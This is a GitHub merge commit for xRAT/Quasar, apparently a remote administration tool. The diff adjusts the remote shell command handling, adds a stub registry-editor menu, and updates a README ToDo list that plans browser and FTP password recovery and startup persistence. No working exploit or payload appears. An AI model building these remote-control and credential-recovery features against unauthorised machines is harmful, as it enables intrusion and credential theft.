Merge pull request #16 from MaxXor/master

Merge with recent base
quasar · May 27, 2015 · 690dcc3 · 690dcc3
2 parents 2012399 + 5f2ffe2
commit 690dcc3
Show file tree

Hide file tree

Showing 8 changed files with 70 additions and 21 deletions.
diff --git a/README.md b/README.md
@@ -51,8 +51,9 @@ Building a client
 
 ToDo
 ---
-* ~~Reverse SOCKS5/HTTPS Proxy~~
-* Password Recovery (Browsers, FTP-Clients)
+* Registry Editor (browse, delete, add registry keys)
+* Password Recovery
+ * Recover Passwords of common browsers (i.e. Chrome, Firefox, IE) and FTP-Clients (i.e. FileZilla Client)
 * Startup Persistence
 * [Issues](https://github.com/MaxXor/xRAT/issues)
 

diff --git a/Server/Forms/FrmMain.Designer.cs b/Server/Forms/FrmMain.Designer.cs
diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs
@@ -184,6 +184,7 @@ private void FrmMain_FormClosing(object sender, FormClosingEventArgs e)
                 UPnP.RemovePort();
 
             nIcon.Visible = false;
+            nIcon.Dispose();
             Instance = null;
         }
 
@@ -540,6 +541,22 @@ private Client[] GetSelectedClients()
             return clients.ToArray();
         }
 
+        private void ctxtRegistryEditor_Click(object sender, EventArgs e)
+        {
+            if (lstClients.SelectedItems.Count != 0)
+            {
+                // TODO
+                //Client c = (Client)lstClients.SelectedItems[0].Tag;
+                //if (c.Value.FrmReg != null)
+                //{
+                //    c.Value.FrmReg.Focus();
+                //    return;
+                //}
+                //FrmStartupManager FrmReg = new FrmStartupManager(c);
+                //FrmReg.Show();
+            }
+        }
+
         private void ctxtShutdown_Click(object sender, EventArgs e)
         {
             if (lstClients.SelectedItems.Count != 0)

diff --git a/Server/Forms/FrmMain.resx b/Server/Forms/FrmMain.resx
@@ -408,7 +408,7 @@
         AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w
         LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
         ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADY
-        sQAAAk1TRnQBSQFMAgEB+AEAARgBBwEYAQcBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
+        sQAAAk1TRnQBSQFMAgEB+AEAASgBBwEoAQcBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
         AwABQAMAAbUBAgIAAQEBAAEIBQABQAGtGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHA
         AdwBwAEAAfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANC
         AQADOQEAAYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/

diff --git a/Server/Forms/FrmRemoteShell.cs b/Server/Forms/FrmRemoteShell.cs
@@ -45,18 +45,24 @@ private void txtConsoleInput_KeyDown(object sender, KeyEventArgs e)
                 string input = txtConsoleInput.Text;
                 txtConsoleInput.Text = string.Empty;
 
-                switch (input)
+                bool isExit = (input.StartsWith("exit") && input.Length > "exit".Length && input[4] == ' ') || input == "exit";
+
+                if (isExit)
+                {
+                    new Core.Packets.ServerPackets.ShellCommand("exit").Execute(_connectClient);
+                    this.Close();
+                }
+                else
                 {
-                    case "cls":
-                        txtConsoleOutput.Text = string.Empty;
-                        break;
-                    case "exit":
-                        new Core.Packets.ServerPackets.ShellCommand(input).Execute(_connectClient);
-                        this.Close();
-                        break;
-                    default:
-                        new Core.Packets.ServerPackets.ShellCommand(input).Execute(_connectClient);
-                        break;
+                    switch (input)
+                    {
+                        case "cls":
+                            txtConsoleOutput.Text = string.Empty;
+                            break;
+                        default:
+                            new Core.Packets.ServerPackets.ShellCommand(input).Execute(_connectClient);
+                            break;
+                    }
                 }
 
                 e.Handled = true;

diff --git a/Server/Properties/Resources.Designer.cs b/Server/Properties/Resources.Designer.cs
diff --git a/Server/Properties/Resources.resx b/Server/Properties/Resources.resx
@@ -236,6 +236,9 @@
   <data name="eye" type="System.Resources.ResXFileRef, System.Windows.Forms">
     <value>..\images\eye.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
   </data>
+  <data name="application_delete" type="System.Resources.ResXFileRef, System.Windows.Forms">
+    <value>..\images\application_delete.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
+  </data>
   <data name="logger" type="System.Resources.ResXFileRef, System.Windows.Forms">
     <value>..\images\logger.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
   </data>
@@ -252,7 +255,7 @@
     <value>..\images\information.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
   </data>
   <assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
-  <data name="application_delete" type="System.Resources.ResXFileRef, System.Windows.Forms">
-    <value>..\images\application_delete.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
+  <data name="registry" type="System.Resources.ResXFileRef, System.Windows.Forms">
+    <value>..\images\registry.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
   </data>
 </root>
diff --git a/Server/images/registry.png b/Server/images/registry.png